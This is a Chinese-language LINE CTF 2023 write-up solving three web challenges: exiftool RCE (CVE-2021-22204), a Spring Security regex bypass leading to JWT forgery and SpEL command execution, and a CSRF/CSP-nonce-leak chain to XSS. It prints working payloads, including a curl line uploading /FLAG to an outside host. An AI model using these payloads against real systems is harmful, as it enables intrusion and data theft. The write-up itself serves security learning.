LINE CTF 2023 Writeups

今年 LINE CTF 我在 TSJ 裡面與 THC 合作以 _TTT_ 參加,我解了個幾題中等難度的 web,都蠻好玩的。

Imageexif

簡單來說這題有個 Python 服務會使用 exiftool 12.22 來讀取你上傳圖片的 exif 資訊,然後把資訊回傳給使用者。查一下可以找到一些現成的 exploit 如 exploit-CVE-2021-22204JPEG_RCE,測試一下也能成功。然而這題困難點在於 backend 只存在於 Docker 自己的內網,不能對外連線,中間透過 Nginx reverse proxy 連接而已,所以需要找個方法透過那個 Python 服務把 flag 傳回來。

我有想過把 uwsgi server 直接 kill,然後 docker compose 那邊因為有 restart: always 所以會自動重啟,所以只要能找到 sys.path 中有可寫的地方的話搞不好就有機會在 Python process 拿 RCE。但是我沒有找到可寫的地方,所以就放棄了。

另一個方法是利用 Python 服務在讀取完 exif 資訊後會把暫存檔刪除,所以只要我們先把他刪除的話就能得到一個 error oracle,然後透過判斷 flag 字元就能 leak 回來了。賽後看到確實有其他隊這樣做,但是我覺得這個方法太沒效率的,還是希望能找到一個更好的方法直接回顯。

Python 那邊是透過 PyExifTool 去讀取的,裡面會先開個 stay_open 模式的 exiftool process,然後透過 stdin 送額外的 cli flags 進去讓 exiftool 執行。它送的 flags 大概是 -j -echo4 ... 之類的,-j 是指用 json 格式輸出,-echo4 是告訴 exiftool 要在執行完成時回傳一個指定的 sequence,這樣 Python 這邊才能判斷輸出是不是結束了。

所以我原本是想在 perl 那邊 system('print json');exit() 是沒用的,因為這樣不會回傳那個指定的 sequence,而只會讓 exiftool 卡住不動而已。而另一個方法是想辦法取得 echo4 傳進來的那個 sequence,但是我對 perl 不熟所以也不知道這個怎麼做。最後想到的另一招是因為 RCE 的地方是在它輸出 result json 之前,所以如果能 hook print 函數的話有機會可以讓它不能 print 那個 json,不過這邊也一樣是因為對 perl 不熟所以做不到。

結果後來再仔細看一遍 Python server 發現有:

1
2
3
4
5
6
7
8
9
10
11
12
except ExifToolJSONInvalidError as e:
os.remove("tmp/"+tmpFileName)
data = e.stdout
reg = re.findall('\[(.*?)\]',data, re.S )[0]
metadata = ast.literal_eval(reg)
if 0 != len(metadata):
return render_template(
'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
else:
return jsonify({
"error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__,
}), 400

所以其實根本不用 valid json,因為它就算失敗也會從 stdout 抓長得像 json 的東西出來,所以 system('print json') 就夠了...。

exploit-CVE-2021-22204.py 的 main 部分這樣改就行了:

1
2
3
4
5
6
7
if __name__ == "__main__":
from base64 import b64encode
cmd = b"""printf '[{"SourceFile":"%s"}]' "$FLAG" """
b64 = b64encode(cmd).decode()
exec = f'echo {b64}|base64 -d|bash'
command = f"system(\'{exec}\')"
exploit(command)

SafeNote

一個 Java Sprint Boot 的 web 服務,前端是用 React 寫的,api 方面是用 JWT 驗證的。

這題第一個關鍵在於 /admin/key/{id} 這個 route:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@GetMapping("/key/{id}")
public String getKey(
@Value("${jwt.secret-key}") String secretKey
) {
if(SecurityContextHolder
.getContext()
.getAuthentication()
.getAuthorities()
.stream()
.anyMatch(x -> x.getAuthority()
.equals("USER"))
){
return "There's nothing for you.";
}
return secretKey;
}

而各 route 所需的驗證設定是這麼設的:

1
2
3
4
5
6
7
8
9
http
.csrf()
.disable()
.authorizeRequests()
.antMatchers("/api/user/register","/api/user/login").permitAll()
.antMatchers("/api/user/**", "/api/note/**").authenticated()
.regexMatchers("/api/admin/.*").authenticated()
.antMatchers("/api/admin/.*").hasRole("ADMIN")
.anyRequest().permitAll();

所以可知它要求 /api/admin/.* 都必須要有驗證 (不一定要是 admin),然後 /api/admin/key/{id} 這個 route 會檢查如果你是 USER 的話就不給你 JWT secret key。這邊仔細想的話會發現如果你沒驗證的話那 .equals("USER") 也不會成立,所以如果有辦法繞過 .regexMatchers("/api/admin/.*").authenticated() 的話說不定就能拿到 secret key 了。

查了一下可以發現有 CVE 2022-22978,它是關於 org.springframework.security.config.annotation.web.AbstractRequestMatcherRegistry.regexMatchers 繞過的 CVE,版本包含 Spring Security 5.5.x < 5.5.7Spring Security 5.6.x < 5.6.4。檢查一下 build.gradle 可以找到一行 ext['spring-security.version'] = '5.6.3',所以顯然是可以用這個 CVE 的。

CVE 本身主要是關於 java 的 .* 並不會 match 所有字元的的這點,所以只要 GET /api/admin/key/%0a 就能拿到 JWT secret key,然後就能偽造 admin JWT 了。接下來是要找方法讀 /FLAG 檔案才行,這部分要利用 /api/admin/feature:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@PostMapping(value="/feature", produces = MediaType.APPLICATION_FORM_URLENCODED_VALUE)
public Response<FeatureResponse> emulateFeature(@RequestBody String featureRequest, Authentication authentication) {

User user = VariousUtils.cast(authentication.getPrincipal(), User.class);
if(!Objects.equals(user.getUsername(), ADMIN_ROLE)){
throw new LineCtfException(
ErrorCode.INVALID_PERMISSION,
String.format("You are Not Admin : %s", authentication.getName())
);
}
return Response.success(
new FeatureResponse(
spelExpressionParser.parseExpression(
VariousUtils.decode(featureRequest).split("=")[1]
).getValue(String.class)
)
);
}

可知它會把你傳的資料當成 SpEL expression 去執行,而 SpEL 基本上就是 eval,所以想辦法執行指令就行了。

1
2
3
4
5
6
7
await fetch('/api/admin/feature', {
method: "POST",
headers: {
"Authorization": `Bearer ${localStorage.token}`,
},
body: 'feature='+encodeURIComponent(`''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), "curl https://XXXX --upload-file /FLAG")`)
}).then(r=>r.json())

Another Secure Store Note

主程式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
const fs = require('fs')
const ejs = require('ejs')
const path = require('path')
const crypto = require('crypto')
const express = require('express')
const cookieParser = require('cookie-parser')
const { db, createNewUser, getCsrf } = require('./db');

const app = express()

app.use('/', express.static(path.join(__dirname, 'public')))
app.use(express.urlencoded({extended: false}))
app.use(cookieParser())

function rand() { return crypto.randomBytes(20).toString('hex') }

app.use((req, res, next) => {
const { id } = req.cookies;
req.user = (id && db.cookies[id] && db.cookies[id].username) ? db.cookies[id].username : undefined;
const csp = (id && db.cookies[id] && db.cookies[id].nonce) ? `script-src 'nonce-${db.cookies[id].nonce}'` : '';
res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; ${csp}`)
next()
})

function shouldBeLoggedIn(req, res, next) { if (!req.user) res.redirect('/'); else next(); }
function shouldNotBeLoggedIn(req, res, next) { if (req.user) res.redirect('/profile'); else next(); }
function csrfCheck(req, res, next) {
const { csrf } = req.body
if (csrf !== getCsrf(req.cookies.id)) return res.redirect(`${req.path}?error=Wrong csrf`)
next()
}

app.get('/', shouldNotBeLoggedIn, (req, res) => {
res.render('auth.ejs')
})

app.post('/', shouldNotBeLoggedIn, csrfCheck, (req, res) => {
const { username, password } = req.body
try {
if (db.users[username]) {
if (db.users[username].password !== password) throw 'Wrong password';
} else createNewUser(username, password)
const newCookie = rand()
db.cookies[newCookie] = Object.create(null)
db.cookies[newCookie].username = username
db.cookies[newCookie].csrf = rand()
db.cookies[newCookie].nonce = rand()
res.setHeader('Set-Cookie', `id=${newCookie}; HttpOnly; SameSite=None; Secure`)
res.redirect('/profile')
} catch (err) {
res.redirect(`/?error=${err}`)
}
})

app.get('/csp.gif', shouldBeLoggedIn, (req, res) => {
db.cookies[req.cookies.id].nonce = rand()
res.setHeader('Content-Type', 'image/gif')
res.send('OK')
})

const settingsFile = fs.readFileSync('./views/getSettings.js', 'utf-8');
app.get('/getSettings.js', (req, res) => {
res.setHeader('Content-Type', 'text/javascript');
const response = ejs.render(settingsFile, {
csrf: getCsrf(req.cookies.id),
domain: process.env.DOMAIN,
});
res.end(response);
})

app.get('/profile', shouldBeLoggedIn, (req, res) => {
res.render('profile.ejs', {
name: db.users[req.user].name,
nonce: db.cookies[req.cookies.id].nonce,
});
})

app.post('/profile', shouldBeLoggedIn, csrfCheck, (req, res) => {
const { name } = req.body;
db.users[req.user].name = name;
res.redirect('/profile?message=Successfully updated name')
})

// For interacting with admin bot
app.use('/bot', shouldBeLoggedIn, require('./bot.js'));

// We might need to change this to https in real challenge
const https = require('https');
const port = 4567
https
.createServer({
key: fs.readFileSync('key.pem'),
cert: fs.readFileSync('cert.pem'),
}, app)
.listen(port, () => {
console.log(`Server is runing at port ${port}`)
});

還有 profile.ejs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<%- include('header.ejs') %>
<body>
<div class=content>
<ul>
<li><a class=active href='/'>Home</a></li>
<li><a href=/bot>Talk to admin</a></li>
</ul>
<img src=csp.gif>

<div class=main>
<h1>📕 <%- name %> secured notes 📕</h1>
<div>
<form method=POST>
Wanna change your name?
<input class=change-name type=text name=name placeholder="🐻 Brown">
<input type=hidden name=csrf id=_csrf>
<input type=submit value=Submit>
<p class=red id=error></p>
<p class=green id=message></p>
</form>
</div>
</div>

<div class=main>
Can you tell me a secret? It will securely kept in "localStorage" of this page.
<textarea id=secret></textarea>
<input id=submit_storage type=submit value=Store>
<script nonce=<%= nonce %> type='application/javascript'>
const btn = document.getElementById('submit_storage');
btn.addEventListener('click', (e) => {
localStorage.setItem('secret', document.getElementById('secret').value);
const resp = document.getElementById('response');
resp.innerText = 'Successfully stored secret';
setTimeout(() => resp.innerText = '', 1500);
});
</script>
<p id=response></p>
</div>
</div>
<%- include('footer.ejs') %>
</body>

這邊顯然有個 XSS 在 name 那邊,但不管是要登入還是要改名字都需要 CSRF token。這邊可以看一下 getSettings.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function isInWindowContext() {
const tmp = self;
self = 1; // magic
const res = (this !== self);
self = tmp;
return res;
}

// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === '<%= domain %>') {
const urlParams = new URLSearchParams(location.search);
try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {}
}

如果直接 embed 這個 js 在自己的頁面上的話只要是 SameSite=Lax (而這題是 SameSite=None) 以下都會送 cookie,所以 js 裡面會包含 CSRF token。透過 Object.defineProperty 可以把 document.domain 改成它要的 domain,所以可以拿到 CSRF token。

接下來它 admin bot 的部分是使用 firefox + puppeteer,會先登入之後設 flag 到 localStorage 之後再 visit 自己的頁面,所以可以透過 CSRF token 去 POST /profile 改名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<div id="error"></div>
<div id="message"></div>
<form action="{{ target }}/profile" method="POST" id="frm">
<input name="name" />
<input name="csrf" id="_csrf" />
</form>
<script>
Object.defineProperty(document, 'domain', { get: () => '{{ domain }}' })
window.onload = () => {
frm.name.value = `PAYLOAD`
frm.submit()
}
</script>
<script src="{{ target }}/getSettings.js"></script>

不過接下來還有 CSP 要 bypass,這部分的關鍵有兩個,第一個是 nonce 更新只會在 /csp.gif 被觸發的時候才會變動,所以只要不讓它載入 /csp.gif 就能固定 nonce。接下來 nonce 的部分可以用 <meta http-equiv=refresh content='0; url=https://XX? 的 dangling markup 去 leak 出來,所以得到 nonce 之後再一個 CSRF 就能 XSS 了。

Payload: sol.tar.gz

這題之所以會用 Firefox 的原因應該是因為 Chrome 有 dangling markup protection 吧。